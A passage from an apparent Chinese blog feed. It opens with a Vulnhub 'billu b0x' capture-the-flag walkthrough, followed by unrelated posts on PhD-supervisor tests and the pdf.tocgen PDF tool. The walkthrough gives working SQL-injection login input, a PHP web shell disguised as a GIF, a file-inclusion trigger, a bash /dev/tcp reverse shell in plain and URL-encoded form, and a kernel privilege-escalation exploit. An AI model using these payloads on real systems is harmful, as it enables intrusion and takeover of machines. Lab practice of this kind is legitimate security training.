php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'login'</span>]))</span><br><span class="line">{</span><br><span class="line"><span class="variable">$uname</span>=<span class="title function_ invoke__">str_replace</span>(<span class="string">'\''</span>,<span class="string">''</span>,<span class="title function_ invoke__">urldecode</span>(<span class="variable">$_POST</span>[<span class="string">'un'</span>]));</span><br><span class="line"><span class="variable">$pass</span>=<span class="title function_ invoke__">str_replace</span>(<span class="string">'\''</span>,<span class="string">''</span>,<span class="title function_ invoke__">urldecode</span>(<span class="variable">$_POST</span>[<span class="string">'ps'</span>]));</span><br><span class="line"><span class="variable">$run</span>=<span class="string">'select * from auth where pass=\''</span>.<span class="variable">$pass</span>.<span class="string">'\' and uname=\''</span>.<span class="variable">$uname</span>.<span class="string">'\''</span>;</span><br><span class="line"><span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$conn</span>, <span class="variable">$run</span>);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>与登录有关,解析其中的SQL语句,换成标准格式:</p><p><code>select * from auth where pass='$passwd' and uname='$username'</code></p><p>发现可以使用<code>\</code>将单引号转义,从而实现SQL注入</p><p>登录界面输入:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">username: or 1=1 # </span><br><span class="line"></span><br><span class="line">password: \</span><br></pre></td></tr></table></figure><p>注入成功</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250120649.png" alt="image-20231025012005293"></p><h1>寻找漏洞</h1><h2 id="发现并利用文件上传漏洞">发现并利用文件上传漏洞</h2><p>登录后发现有一个上传文件的接口(同时也是/add.php的功能,之前路径暴力破解时找到的):</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250120053.png" alt="image-20231025012014665"></p><p>尝试进行一句话木马文件的上传,即在上传的文件中添加<code><?php system($_GET["cmd"]);?></code>内容,看能否执行。</p><h3 id="上传一句话木马文件">上传一句话木马文件</h3><p>建立getin.php文件,内容为<code><?php system($_GET["cmd"]);?></code>, 尝试直接上传,失败。只允许png, jpg, gif文件</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250120918.png" alt="image-20231025012059545"></p><p>有三种检测可能性:</p><ol><li><p>检测文件后缀</p></li><li><p>检测请求中的Content-Type</p></li><li><p>对文件内容检测,需要对内容伪造</p></li></ol><p>我们使用burpsuite拦截请求,依次尝试</p><ol><li><p>将请求中filename后缀修改为png,再次上传。失败</p></li><li><p>将Content-Type修改为:image/png,上传,失败</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250121840.png" alt="image-20231025012118779"></p></li><li><p>对内容进行伪造,在文件内容开头加上一个图形格式的标记 <code>GIF89a;</code>,再次上传,成功!</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250121252.png" alt="image-20231025012129198"></p></li></ol><h3 id="测试是否可以执行命令">测试是否可以执行命令</h3><p>上传成功后,点击Show Users,查看html内容,发现上传的文件在<code>uploaded_images/</code>下。</p><p>拦截Show Users请求</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250121867.png" alt="image-20231025012139515"></p><p>根据请求体以及panel.php的如下内容:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(<span class="variable">$choice</span>===<span class="string">'show'</span>)</span><br><span class="line">{</span><br><span class="line"> </span><br><span class="line"><span class="keyword">include</span>(<span class="variable">$dir</span>.<span class="string">'/'</span>.<span class="variable">$choice</span>.<span class="string">'.php'</span>);</span><br><span class="line"><span class="keyword">die</span>();</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line"><span class="keyword">include</span>(<span class="variable">$dir</span>.<span class="string">'/'</span>.<span class="variable">$_POST</span>[<span class="string">'load'</span>]);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以看出load后的参数是其他的内容,则会直接引用该文件,这为我们执行木马文件提供了机会。</p><p>通过burp构建请求:<code>POST /panel.php?cmd=ls HTTP/1.1</code></p><p>请求参数为:<code>load=uploaded_images/getin.png&continue=continue</code></p><p>发送请求,发现成功执行命令</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250121466.png" alt="image-20231025012151082"></p><h1>建立反弹shell</h1><p>将命令修改为<code>echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash</code>,在本机用<code>nc -nvlp 3333</code>监听3333端口。发送请求</p><p>但是发现并未成功建立反弹shell。可以想到是因为请求url里有空格导致命令没有被正确传递</p><p>考虑使用url16进制编码解决空格的问题。加密后是没有空格的,并且后端会自动解码。先用几个简单的命令进行测试,发现可行。于是对上述命令进行编码,得到结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68</span><br></pre></td></tr></table></figure><p>用该内容替换命令,然后再次发送请求</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250122753.png" alt="image-20231025012210380"></p><p>发现成功建立反弹shell</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250122308.png" alt="image-20231025012221926"></p><blockquote><p>这里遇到一个问题,编码<code>echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash</code>后发送请求可以成功建立反弹shell。但如果编码<code>bash -i >& /dev/tcp/10.0.2.15/3333 0>&1</code>命令,就无法建立反弹shell。目前还未搞懂是为什么。</p></blockquote><blockquote><p>命令及其编码如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">"bash -i >& /dev/tcp/10.0.2.15/3333 0>&1"</span> | bash</span><br><span class="line">%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68</span><br><span class="line"></span><br><span class="line">bash -i >& /dev/tcp/10.0.2.15/3333 0>&1</span><br><span class="line">%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31</span><br></pre></td></tr></table></figure></blockquote><h1>提权</h1><p><code>uname -a</code> 命令查看Linux版本</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250122451.png" alt="image-20231025012233079"></p><p>在kali上使用<code>searchsploit</code>查找漏洞(与exploit-db网站上是一样的)</p><p><code>searchsploit Kernel 3.13.0</code></p><p>得到众多结果</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250122762.png" alt="image-20231025012243393"></p><p>从中找到可能有用的,进行尝试。下面这个最可能有用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escala | linux/local/37292.c</span><br></pre></td></tr></table></figure><p>用<code>searchsploit -m 37292</code> 命令将该文件拷贝到当前目录</p><p>kali用python开启web服务</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250122159.png" alt="image-20231025012255798"></p><p>用反弹shell在靶机上进入/tmp目录(该目录下所有用户都有写权限,避免权限不足),下载该文件,在靶机上编译并运行(需要靶机上有gcc,刚好该靶机上有)</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250123110.png" alt="image-20231025012306742"></p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250123857.png" alt="image-20231025012317474"></p><p><em><strong>成功获得root权限!</strong></em></p><h1>补充1:建立反弹shell的另一种方式</h1><p>还有一种方式是使用直接建立反弹shell的php文件</p><p>使用Kali Linux的<code>/usr/share/webshells/php/php-reverse-shell.php</code>文件,修改文件中的目标ip为kali的ip,重复文件上传方法(这里将文件名修改为了in.png),上传到靶机上</p><p>在kali上监听1234端口 <code>nc -nvlp 1234</code></p><p>拦截Show Users请求,将load行修改为:</p><p><code>load=uploaded_images/in.png&continue=continue</code></p><p>发送请求后,成功建立反弹shell</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250123992.png" alt="image-20231025012332625"></p><h1>补充2:美化reverse shell</h1><p>如果靶机上有python,可以在建立反弹shell后输入<code>python -c "import pty; pty.spawn('/bin/bash')"</code>命令,美化shell。如果有命令终端回显,可以使用<code>stty raw -echo</code>进制回显。</p><p>美化前:</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250123974.png" alt="image-20231025012342590"></p><p>美化后:</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250123725.png" alt="image-20231025012354359"></p>]]></content>
<summary type="html"><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250115198.png" alt="image-20231024201252834"></p>
<p>Vulnhub靶机billu b0x的渗透实战记录,每一步都有详细的思路和操作过程</p>
<h1>靶机简介</h1>
<p>官方下载地址:<a href="https://www.vulnhub.com/entry/billu-b0x,188/">https://www.vulnhub.com/entry/billu-b0x,188/</a></p>
<p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202310250144485.png" alt="image-20231025014413349"></p>
<p>目标是获得靶机root权限。话不多说,直接开始:</p></summary>
<category term="网络安全" scheme="https://blog.karryspace.com/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
<category term="攻防" scheme="https://blog.karryspace.com/tags/%E6%94%BB%E9%98%B2/"/>
</entry>
<entry>
<title>你适合读博吗?</title>
<link href="https://blog.karryspace.com/posts/%E4%BD%A0%E9%80%82%E5%90%88%E8%AF%BB%E5%8D%9A%E5%90%97/"/>
<id>https://blog.karryspace.com/posts/%E4%BD%A0%E9%80%82%E5%90%88%E8%AF%BB%E5%8D%9A%E5%90%97/</id>
<published>2023-04-17T07:35:02.000Z</published>
<updated>2025-02-22T12:48:48.512Z</updated>
<content type="html"><![CDATA[<p>今天看到了一个UCI教授的个人主页,发现很有趣,想跟大家分享一下。</p><p>这位教授在页面放了三个简单的测试,来让学生判断是否适合找他做博士导师。我觉得这三个测试很有意思,于是翻译了一下,可以看一看。</p><ul><li><p>round 1</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202304171639566.png" alt="image-20230417163900489"></p></li></ul><span id="more"></span><ul><li><p>round 2</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202304171550513.png" alt="image-20230417155005466"></p></li><li><p>round 3</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202304171544331.png" alt="image-20230417154423285"></p></li></ul><p>如果通过了这三轮测试,说明达到了教授的要求。不得不说,要求还是很高的。我在round 1就被刷掉了。</p><p>网页上还有教授的几句话,也很有意思,分享给大家</p><ul><li>1</li></ul><blockquote><p><strong>There are two equivalence classes of idiots:</strong></p><p>Those who yearn for the past that never was.</p><p>AND</p><p>Those who dream of the future that never will be.</p></blockquote><p><strong>有两种相同类型的白痴</strong>:<br>那些向往着从未发生过的过去的人。<br>和<br>那些梦想着永远不会出现的未来的人。</p><ul><li>2</li></ul><blockquote><p><strong>Quotidian Wisdom (speaking of idiots):</strong></p><p>For every pithy inspirational quote, saying or proverb, there is army of idiiots willing to believe it.</p></blockquote><p><strong>智慧语录(说到白痴)</strong>:<br>每一句精辟的励志名言、俗语或谚语,都有一群愿意相信它的白痴大军。</p><ul><li>3</li></ul><blockquote><p><strong>An urgent message to all humorless barbarians inhabiting this long-suffering planet:</strong></p><p>As a free human being, I reserve the right to disrespect, mock, parody, laugh at, and disbelieve any and all of your deities, saints, prophets, idols, holy fools, deans, chancellors, political leaders, gurus, kings, presidents and presidential candidates.</p></blockquote><p><strong>给居住在这个长期受难的星球上的所有无幽默感的未开化人的紧急信息</strong>:<br>作为一个自由的人,我拥有不尊重、嘲弄、滑稽地模仿、嘲笑和不相信你们任何神灵、圣人、先知、偶像、神圣的傻子、院长、校长、政治领袖、大师、国王、总统和总统候选人的权利。</p><p>这种追求清醒,质疑权威的精神还是挺让我羡慕的。</p><blockquote><p>内容来源:<a href="https://www.ics.uci.edu/~gts/">Professor Gene Tsudik’s Info Page</a></p></blockquote>]]></content>
<summary type="html"><p>今天看到了一个UCI教授的个人主页,发现很有趣,想跟大家分享一下。</p>
<p>这位教授在页面放了三个简单的测试,来让学生判断是否适合找他做博士导师。我觉得这三个测试很有意思,于是翻译了一下,可以看一看。</p>
<ul>
<li>
<p>round 1</p>
<p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202304171639566.png" alt="image-20230417163900489"></p>
</li>
</ul></summary>
<category term="杂谈" scheme="https://blog.karryspace.com/categories/%E6%9D%82%E8%B0%88/"/>
</entry>
<entry>
<title>为PDF自动生成目录-pdf.tocgen教程</title>
<link href="https://blog.karryspace.com/posts/%E4%B8%BAPDF%E8%87%AA%E5%8A%A8%E7%94%9F%E6%88%90%E7%9B%AE%E5%BD%95-pdf.tocgen%E6%95%99%E7%A8%8B/"/>
<id>https://blog.karryspace.com/posts/%E4%B8%BAPDF%E8%87%AA%E5%8A%A8%E7%94%9F%E6%88%90%E7%9B%AE%E5%BD%95-pdf.tocgen%E6%95%99%E7%A8%8B/</id>
<published>2023-04-03T08:06:49.000Z</published>
<updated>2025-02-22T12:49:08.899Z</updated>
<content type="html"><![CDATA[<p>在许多文档处理工作中,自动生成目录是一个常见的需求,尤其是对于大型PDF文档。手动创建目录可能会很繁琐且耗时,因此寻找自动化的解决方案是很有必要的。在这篇博客中,推荐一个强大的命令行工具 - <a href="https://github.com/Krasjet/pdf.tocgen">pdf.tocgen</a>,它可以帮助我们自动生成PDF文档的目录。</p><p>网上还有很多其他工具可以自动生成目录,但是基本都需要提前找到完整的目录信息,才可以为pdf生成目录。这个工具不需要完整的目录信息,只需根据一点信息,就可以从pdf自动推导出目录。因为很多时候我们无法找到pdf文件的已有目录信息,所以我推荐这个工具。</p><h1>0 简介</h1><h3 id="效果">效果</h3><p>我用一本zlib上下载的pdf英文书为例,下载下来时是没有目录的,用preview打开效果如下, 可以看到左边是没有目录的。</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202304172101923.png" alt="image-20230417210146885"></p><p>使用该工具后可以达到的效果如下,可以看到已经成功生成了目录,并且可以正确跳转。</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202305081109149.png" alt="image-20230508110929077"></p><span id="more"></span><h3 id="适用条件">适用条件</h3><p>根据<a href="https://krasjet.com/voice/pdf.tocgen/">官方文档</a>,该工具最适用于从TeX文档使用pdftex(及其相关工具如pdflatex、pdfxetex等)生成的PDF文件,但它也可以与其他软件生成的PDF文件一起使用,例如troff/groff、Adobe InDesign、Microsoft Word等。中文英文PDF都适用。</p><p>需要注意的是,扫描的PDF是不适用的。以及格式特殊的PDF(比如标题是图片不是文字形式)可能也会遇到问题。根据具体情况而定。</p><h3 id="结构">结构</h3><p>pdf.tocgen是一套用于自动提取和生成PDF文件目录的命令行工具。它使用嵌入字体属性和标题的位置来推断PDF文件的基本大纲。由 pdfxmeta、pdftocgen、pdftocio 三个工具组成。负责的功能如下:</p><ul><li>pdfxmeta: 根据输入的信息,提取标题的元数据(字体属性、位置)以建立一个格式信息文件。</li><li>pdftocgen: 通过格式信息文件生成一个目录描述文件。</li><li>pdftocio: 根据目录描述文件,结合原始pdf,生成增添了目录的新pdf。</li></ul><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"> in.pdf</span><br><span class="line"> |</span><br><span class="line"> |</span><br><span class="line"> +----------------------+--------------------+</span><br><span class="line"> | | |</span><br><span class="line"> V V V</span><br><span class="line">+----------+ +-----------+ +----------+</span><br><span class="line">| | recipe | | ToC | |</span><br><span class="line">| pdfxmeta +--------->| pdftocgen +-------->| pdftocio +---> out.pdf</span><br><span class="line">| | | | | |</span><br><span class="line">+----------+ +-----------+ +----------+</span><br></pre></td></tr></table></figure><p>看起来稍微有些复杂,上手大概需要十几分钟,学会使用后就变得很方便。分成三个工具有它的好处,使我们更容易看到中间生成的文件内容,来判断行为是否符合我们的预期。也给了我们更大的灵活性。</p><p>下面就来介绍如何使用这个强大的工具</p><h1>1. 下载</h1><p>pdf.tocgen是由python3写的,在Linux、MacOS、Windows都可以运行</p><p>如果没有python环境,需要先安装python,这里就不赘述了。</p><p>在命令行输入如下命令即可安装该工具,<code>-U</code>选项表示如果已经安装该包,则更新它,否则下载该包</p><p><code>pip install -U pdf.tocgen</code></p><h1>2. 工作流程</h1><h2 id="第一步,创建格式信息文件">第一步,创建格式信息文件</h2><p>我们使用pdfxmeta工具,根据pdf文件,提供目录信息,从而生成一个<a href="https://toml.io/">TOML</a>文件,告诉pdftocgen标题、副标题等应该长什么样</p><p>我们需要告诉工具的信息有:任意标题的内容(可以用python格式的正则)、页码、是几级标题。需要注意页码是该目录在pdf中的实际页码,不一定是pdf文件内部标注的页码(比如文章开始给出的效果图中,实际页码是17,内部标注页码是1)</p><p>命令如下</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pdfxmeta -p 页码 -a 级别 pdf文件名 标题内容 >> 输出文件</span><br></pre></td></tr></table></figure><p>输出需要是一个<code>.toml</code>格式文件,里面就是标题信息。</p><h3 id="举例">举例</h3><p>我们用一个pdf书生成1和2级标题的目录信息文件</p><p>一级标题如下,我们用"Introduction"来表示标题内容</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202305081134972.png" alt="image-20230417210146885"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pdfxmeta -a 1 -p 17 testbook.pdf "Introduction" >> recipe.toml</span><br></pre></td></tr></table></figure><p>输出的recipe.toml文件如下:</p><figure class="highlight toml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[[heading]]</span></span><br><span class="line"><span class="comment"># Introduction</span></span><br><span class="line"><span class="attr">level</span> = <span class="number">1</span></span><br><span class="line"><span class="attr">greedy</span> = <span class="literal">true</span></span><br><span class="line"><span class="attr">font.name</span> = <span class="string">"ComputerModernBoldExtend"</span></span><br><span class="line"><span class="attr">font.size</span> = <span class="number">29.844999313354492</span></span><br><span class="line"><span class="comment"># font.size_tolerance = 1e-5</span></span><br><span class="line"><span class="comment"># font.color = 0x000000</span></span><br><span class="line"><span class="comment"># font.superscript = false</span></span><br><span class="line"><span class="comment"># font.italic = false</span></span><br><span class="line"><span class="comment"># font.serif = true</span></span><br><span class="line"><span class="comment"># font.monospace = false</span></span><br><span class="line"><span class="comment"># font.bold = true</span></span><br><span class="line"><span class="comment"># bbox.left = 73.14399719238281</span></span><br><span class="line"><span class="comment"># bbox.top = 220.572509765625</span></span><br><span class="line"><span class="comment"># bbox.right = 244.6280517578125</span></span><br><span class="line"><span class="comment"># bbox.bottom = 250.41751098632812</span></span><br><span class="line"><span class="comment"># bbox.tolerance = 1e-5</span></span><br></pre></td></tr></table></figure><p>接下来产生2级标题信息</p><p>二级标题如下,因为只需要得到标题的格式,所以提供的标题内容足够辨别出标题就行,比如这里的"1.1"可以不包含在内。最后生成的目录会自动判断出是否属于标题内容。</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202305081135710.png" alt="image-20230508113542638"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pdfxmeta -a 2 -p 24 testbook.pdf "Who Should Read This Book?" >> recipe.toml</span><br></pre></td></tr></table></figure><p>现在recipe.toml文件如下:</p><figure class="highlight toml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[[heading]]</span></span><br><span class="line"><span class="comment"># Introduction</span></span><br><span class="line"><span class="attr">level</span> = <span class="number">1</span></span><br><span class="line"><span class="attr">greedy</span> = <span class="literal">true</span></span><br><span class="line"><span class="attr">font.name</span> = <span class="string">"ComputerModernBoldExtend"</span></span><br><span class="line"><span class="attr">font.size</span> = <span class="number">29.844999313354492</span></span><br><span class="line"><span class="comment"># 注释</span></span><br><span class="line"><span class="section">[[heading]]</span></span><br><span class="line"><span class="comment"># Who Should Read This Book?</span></span><br><span class="line"><span class="attr">level</span> = <span class="number">2</span></span><br><span class="line"><span class="attr">greedy</span> = <span class="literal">true</span></span><br><span class="line"><span class="attr">font.name</span> = <span class="string">"ComputerModernBoldExtend"</span></span><br><span class="line"><span class="attr">font.size</span> = <span class="number">17.27400016784668</span></span><br><span class="line"><span class="comment"># 注释</span></span><br></pre></td></tr></table></figure><p>格式信息文件就这样生成好了,接下来可以进入下一步了</p><h2 id="第二步,生成目录">第二步,生成目录</h2><p>第二步就很简单,只需要利用第一步的输出,用pdftocgen工具,就可以得到目录</p><p>命令如下</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pdftocgen PDF文件 < 元信息文件 >> 输出文件</span><br></pre></td></tr></table></figure><p>输出文件可以是<code>.txt</code>格式,也可以不指明格式</p><h3 id="举例-2">举例</h3><p>继续上面的例子</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pdftocgen testbook.pdf < recipe.toml > toc</span><br></pre></td></tr></table></figure><p>toc文件内容大致如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">"Contents" 3</span><br><span class="line">"Website" 9</span><br><span class="line">"Acknowledgments" 10</span><br><span class="line">"Notation" 13</span><br><span class="line">"Introduction" 17</span><br><span class="line"> "1.1 Who Should Read This Book?" 24</span><br><span class="line"> "1.2 Historical Trends in Deep Learning" 27</span><br><span class="line">"Applied Math and Machine" 45</span><br><span class="line">"Learning Basics" 45</span><br><span class="line">"Linear Algebra" 47</span><br><span class="line"> "2.1 Scalars, Vectors, Matrices and Tensors" 47</span><br><span class="line"> "2.2 Multiplying Matrices and Vectors" 50</span><br><span class="line"> "2.3 Identity and Inverse Matrices" 52</span><br><span class="line"> "2.4 Linear Dependence and Span" 53</span><br><span class="line"> "2.5 Norms" 55</span><br><span class="line"> "2.6 Special Kinds of Matrices and Vectors" 56</span><br><span class="line"> "2.7 Eigendecomposition" 58</span><br><span class="line"> "2.8 Singular Value Decomposition" 60</span><br><span class="line"> "2.9 The Moore-Penrose Pseudoinverse" 61</span><br><span class="line"> "2.10 The Trace Operator" 62</span><br><span class="line"> "2.11 The Determinant" 63</span><br><span class="line"> "2.12 Example: Principal Components Analysis" 64</span><br><span class="line">"Probability and Information Theory" 69</span><br><span class="line"> "3.1 Why Probability?" 70</span><br><span class="line">...</span><br><span class="line">...</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>实际上,如果不需要对目录文件进行修改的话,可以使用管道,将第二步和第三步一起执行。下面会说到。</p><p>如果目录文件正常,是我们想要的效果,就可以进入最后一步了。</p><h2 id="第三步,将目录导入pdf中">第三步,将目录导入pdf中</h2><p>这一步也非常简单,需要用到目录文件,原始pdf文件</p><p>命令如下</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pdftocio -o 目标文件名 原始pdf文件 < 目录文件</span><br></pre></td></tr></table></figure><h3 id="举例-3">举例</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pdftocio -o result.pdf testbook.pdf < toc</span><br></pre></td></tr></table></figure><p>result.pdf就是文章最初,效果展示里面有目录的那个文件</p><p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202305081110956.png" alt="image-20230508110929077"></p><p>我们成功的为pdf生成了目录。</p><h3 id="结合第二步与第三步">结合第二步与第三步</h3><p>只需用管道结合两步的命令即可</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pdftocgen testbook.pdf < recipe.toml | pdftocio testbook.pdf -o result.pdf</span><br></pre></td></tr></table></figure><h1>3. 最后</h1><p>因为这个工具是根据有限的信息推导出目录,所以如果pdf的格式越特殊,出错的可能性就越大,这是无法避免的。不过工具提供了很大的自由,我们可以编辑每一步的输出,来尽量达到我们想要的效果。同时这个工具还有很多更细节,更高级的用法,大家如果感兴趣,可以去看<a href="https://krasjet.com/voice/pdf.tocgen/">官方文档</a>(英文)</p>]]></content>
<summary type="html"><p>在许多文档处理工作中,自动生成目录是一个常见的需求,尤其是对于大型PDF文档。手动创建目录可能会很繁琐且耗时,因此寻找自动化的解决方案是很有必要的。在这篇博客中,推荐一个强大的命令行工具 - <a href="https://github.com/Krasjet/pdf.tocgen">pdf.tocgen</a>,它可以帮助我们自动生成PDF文档的目录。</p>
<p>网上还有很多其他工具可以自动生成目录,但是基本都需要提前找到完整的目录信息,才可以为pdf生成目录。这个工具不需要完整的目录信息,只需根据一点信息,就可以从pdf自动推导出目录。因为很多时候我们无法找到pdf文件的已有目录信息,所以我推荐这个工具。</p>
<h1>0 简介</h1>
<h3 id="效果">效果</h3>
<p>我用一本zlib上下载的pdf英文书为例,下载下来时是没有目录的,用preview打开效果如下, 可以看到左边是没有目录的。</p>
<p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202304172101923.png" alt="image-20230417210146885"></p>
<p>使用该工具后可以达到的效果如下,可以看到已经成功生成了目录,并且可以正确跳转。</p>
<p><img data-src="https://hachaosg2p-1308589153.cos.ap-nanjing.myqcloud.com/202305081109149.png" alt="image-20230508110929077"></p></summary>
<category term="工具" scheme="https://blog.karryspace.com/categories/%E5%B7%A5%E5%85%B7/"/>
<category term="tools" scheme="https://blog.karryspace.com/tags/tools/"/>
</entry>
<entry>
<title>Docker入门与Docker网络</title>
<link href="https://blog.karryspace.com/posts/Docker%E5%85%A5%E9%97%A8%E4%B8%8EDocker%E7%BD%91%E7%BB%9C/"/>
<id>https://blog.karryspace.com/posts/Docker%E5%85%A5%E9%97%A8%E4%B8%8EDocker%E7%BD%91%E7%BB%9C/</id>
<published>2023-03-23T06:28:32.000Z</published>
<updated>2025-02-22T12:49:47.850Z</updated>
